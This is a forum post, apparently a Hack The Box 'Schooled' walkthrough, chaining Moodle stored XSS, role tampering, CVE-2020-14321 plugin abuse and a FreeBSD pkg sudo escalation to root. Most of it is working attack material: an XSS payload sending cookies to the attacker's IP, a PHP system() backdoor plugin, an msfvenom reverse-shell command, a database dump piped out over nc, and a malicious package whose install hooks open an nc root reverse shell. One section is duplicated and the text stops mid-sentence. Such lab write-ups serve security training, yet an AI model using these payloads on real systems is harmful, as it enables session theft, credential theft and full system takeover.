Schooled with Hack The Box: Moodle, XSS, Permissions Manager, and Escalation via FreeBSD pkg.

WILD

Administrator
Staff member
ADMIN
SELLER
SUPREME
MEMBER
Joined
Jan 21, 2025
Messages
219
Reaction score
637
Deposit
0$
Listen, the Schooled machine on Hack The Box turned out to be interesting not so much for its complexity as for its sequence. There's no single super-exploit that does everything at once. It's a chain: Moodle → XSS → session hijacking → privilege escalation → RCE via plugin → database dump → bcrypt bruteforce → SSH → escalation via pkg on FreeBSD.

In this article, I'll go all the way from port scanning to root. There will be a lot of specifics: how to search for subdomains, how to steal cookies via XSS, how to add a user to admins, how to install your own package on FreeBSD.

---

Reconnaissance: where it all began

Adding the IP to /etc/hosts:

Bash:

echo"10.10.10.234 schooled.htb" >> /etc/hosts

Scanning ports. I'm using a two-pass script:

Bash:

#!/bin/bash ports=$(nmap-p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) nmap-p$ports -A $1

Run:

Bash:

./scan.sh schooled.htb

Result:

Code:

22/tcp open ssh OpenSSH 8.2p1 FreeBSD 2020-05-02 80/tcp open http Apache httpd 2.4.46((FreeBSD) OpenSSL/1.1.1k FreeBSD mod_fcgid/2.3.9) 33060/tcp open mysqlx?

Three ports. Web server on 80, SSH on 22, strange port 33060 (MySQL X Protocol). I'm starting with the web.

---

Website and Subdomains

On the "About" page, I find the email [email protected] and the domain schooled.htb. I add it to the hosts, but nothing new so far.

I scan the directories – nothing interesting. So, I try subdomains. I use Burp Intruder. I grab the dictionary subdomains-top1million-5000.txt from SecLists and set it to 120 threads.

I find the subdomain:

Code:

moodle.schooled.htb

I add it to /etc/hosts and open it in the browser.

Moodle is an open-source learning management system. Version 3.9, according to the admin/environment.php page.

---

Entry point: XSS in profile

I'm looking for exploits for Moodle 3.9. SearchSploit doesn't have any suitable ones, but there's Stored XSS (CVE-2020-25699) for 3.10. I'm checking to see if it works on 3.9.

I sign up as a test user. I go to my profile, find the "MoodleNet profile" field. I paste the test code:

Code:

<img src="1" onerror="alert(1)" />

I save. I open my profile—an alert is triggered. There's a vulnerability.

Now I'm stealing a teacher's session. I set up a local web server:

Bash:

python3-m http.server 8888

I paste the code into my profile that will send the cookie to my server:

Code:

<img src="1" onerror='this.src="http://10.10.14.195:8888/cookie="+document.cookie' />

I wait for the teacher to open my profile. A request with a cookie appears in the server logs. I enter them in the browser, refresh the page, and I'm logged in as a teacher.

---

Fulcrum: From Teacher to Manager

I have teacher access. From the staff list, I find the target account—Lianne Carter. I need to make her an administrator in my course.

I log into the "Mathematics" course. I add Lianne Carter as a participant. When she's added, I intercept the request in Burp. I change the parameters:

· user_ID to 24 (Lianne Carter's ID)
· Assign_ID to 1 (administrator/manager)

I submit. Lianne Carter appears in the list of course participants. I go to her profile and see "Log in as" in the Administration section. I click it—I'm now Lianne Carter.

---

Remote code execution via plugin

Now I have manager rights. I need to upgrade them to administrator rights. I find CVE-2020-14321—a vulnerability that allows you to grant yourself permission to install plugins.

I go to "Users → Permissions → Define role → Manager → Edit." I intercept the request and insert the block of parameters from the vulnerability description (remembering to include my session). After that, I can install plugins.

I create a ZIP archive with the plugin. Structure: block_rce/lang/en/block_rce.php. The file contains a simple backdoor:

PHP:

<?php
if(isset($_GET['cmd'])) { system($_GET['cmd']);
}
?>

I archive it and upload it via "Plugins → Install plugins." I check:
Fulcrum: From Teacher to Manager

I have teacher access. From the staff list, I find the target account—Lianne Carter. I need to make her an administrator in my course.

I log into the "Mathematics" course. I add Lianne Carter as a participant. When adding, I intercept the request in Burp. I change the parameters:

· user_ID to 24 (Lianne Carter's ID)
· Assign_ID to 1 (administrator/manager)

I submit. Lianne Carter appears in the list of course participants. I go to her profile and see "Log in as" in the Administration section. I click it—I'm now Lianne Carter.

---

Remote Code Execution via Plugin

Now I have manager privileges. I need to upgrade them to administrator privileges. I find CVE-2020-14321—a vulnerability that allows you to grant yourself permission to install plugins.

I go to "Users → Permissions → Define role → Manager → Edit." I intercept the request and insert the block of parameters from the vulnerability description (I don't forget to substitute my session). After that, I can install plugins.

I create a ZIP archive with the plugin. Structure: block_rce/lang/en/block_rce.php. The file contains a simple backdoor:

PHP:

<?php
if(isset($_GET['cmd'])) { system($_GET['cmd']);
}
?>

I archive it and upload it via "Plugins → Install plugins." I check:

Bash:

curl 'http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php?cmd=whoami'

Output: www. It works.

Now I install Meterpreter. I generate the payload:

Bash:

msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.195 LPORT=4321 -o rce.php

I copy the contents to block_rce.php. I reupload the archive and reinstall the plugin. I run the handler in Metasploit:

Bash:

handler -p php/meterpreter_reverse_tcp -H 10.10.14.195 -P 4321

I open the plugin page and get a shell.

---

Promotion: database dump and bcrypt

First, I look for the credentials. In Moodle, the database settings are in config.php. I find the file and read:

Code:

$CFG->dbuser= 'moodle'; $CFG->dbpass= 'PlaybookMaster2020'; $CFG->dbname= 'moodle';

Connect to MySQL:

Bash:

/usr/local/bin/mysql-u moodle -pPlaybookMaster2020

Look at the databases. Dump the user table. The mdl_user table. Password hashes are bcrypt.

Start the listener on my machine:

Bash:

nc-lvp 6543 > db.txt

Send the data to the target machine:

Bash:

/usr/local/bin/mysql-u moodle -pPlaybookMaster2020 -e 'use moodle;select * from mdl_user;' | nc 10.10.14.195 6543

Receive the file. There's a user with the login "admin" and the name "Jamie." I check /etc/passwd — there's a user named jamie.

I run bcrypt through hashcat. I find the hash type:

Bash:

hashcat--example | grep -A2 -B2 '$2'

Number 3200. I run:

Bash:

hashcat -m 3200 -a 0 hash /usr/share/wordlists/rockyou.txt

The password is guessed. I log in via SSH:

Bash:

ssh [email protected]

User flag taken.

---

Local privilege escalation: FreeBSD pkg

Checking sudo permissions:

Bash:

sudo -l

Output:

Code:

User jamie can run the following commands on schooled: (ALL) NOPASSWD: /usr/sbin/pkg update, /usr/sbin/pkg install *

This is FreeBSD. pkg is the package manager. I can run pkg install as root without a password.

I can create my own package that will execute arbitrary code upon installation. I'm looking for a template.

I create the script build_pkg.sh:

Bash:

#!/bin/sh
STAGEDIR=/tmp/stage rm-rf ${STAGEDIR} mkdir-p ${STAGEDIR}
cat >> ${STAGEDIR}/+PRE_DEINSTALL <<EOF echo"Resetting root shell" rm/tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.195 4321 >/tmp/f EOF
cat >> ${STAGEDIR}/+POST_INSTALL <<EOF echo"Registering root shell" rm/tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.195 4321 >/tmp/f EOF
cat >> ${STAGEDIR}/+MANIFEST <<EOF name:mypackage version:"1.0.8888" origin:sysutils/mypackage comment:"automates stuff" desc:"automates tasks which can also be undone later" maintainer:[email protected] www:https://doe.it prefix:/ EOF
pkg create -m ${STAGEDIR}/ -r ${STAGEDIR}/ -o .


I launch:

Bash:

chmod+x build_pkg.sh ./build_pkg.sh


mypackage-1.0.8888.txz appears in the current folder.

I run the listener on my machine:

Bash:

rlwrap nc-lvp 4321

I install the package on the target machine:

Bash:

sudo /usr/sbin/pkg install --no-repo-update mypackage-1.0.8888.txz

POST_INSTALL is triggered, and I get a root reverse shell.

---

What we did

We scanned the ports, found the web server and the Moodle subdomain.
We detected Stored XSS in Moodle, stole the instructor's session.
We added the instructor to the course with manager privileges, gaining access to their account.
We used vulnerability CVE-2020-14321 to escalate privileges to allow plugin installation.
We uploaded a plugin with a backdoor, resulting in an RCE.
We dumped the database, brute-forced the bcrypt password for the user jamie, and logged in via SSH. We created our package using sudo on pkg, installed it, and got a root shell.

The Schooled machine is a great example of how, in modern systems, a chain of vulnerabilities leads to complete takeover. Each subsequent step builds on the previous one. Key points:

XSS is not just an "alert," but a tool for stealing sessions and hijacking privileges.
In Moodle, the combination of Stored XSS and sub
 
Top Bottom